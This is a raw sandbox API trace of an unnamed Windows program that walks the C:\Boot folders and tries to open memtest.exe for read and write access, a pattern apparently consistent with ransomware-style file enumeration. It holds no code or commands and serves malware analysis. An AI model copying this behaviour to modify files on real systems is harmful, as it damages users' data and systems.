RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3983720 | out: hHeap=0xd10000) returned 1 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.583] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39668a0 | out: hHeap=0xd10000) returned 1 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.583] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.584] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.584] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fd8 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6000 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6028 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6050 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f88 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fb0 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39326e8 | out: hHeap=0xd10000) returned 1 [0116.584] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.585] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.585] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.585] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c48 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fb0 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5f88 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6078 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60a0 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60c8 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f60f0 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6118 [0116.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6140 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947bd0 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fd8 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6000 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6028 | out: hHeap=0xd10000) returned 1 [0116.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6050 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.586] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.586] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.586] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.586] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.586] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.586] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.586] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0116.586] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eb50 | out: hHeap=0xd10000) returned 1 [0116.587] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x214) returned 0x39f5118 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947bd0 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6050 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6028 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6000 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f5fd8 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6168 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6190 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61b8 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f61e0 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6208 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6230 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6258 [0116.587] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x39f6280 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c48 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5fb0 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5f88 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6078 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60a0 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60c8 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f60f0 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6118 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f6140 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d60 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.587] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c70 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c70 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.588] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.588] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.588] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d60 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.588] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.588] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0116.588] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.588] RtlAllocateHeap 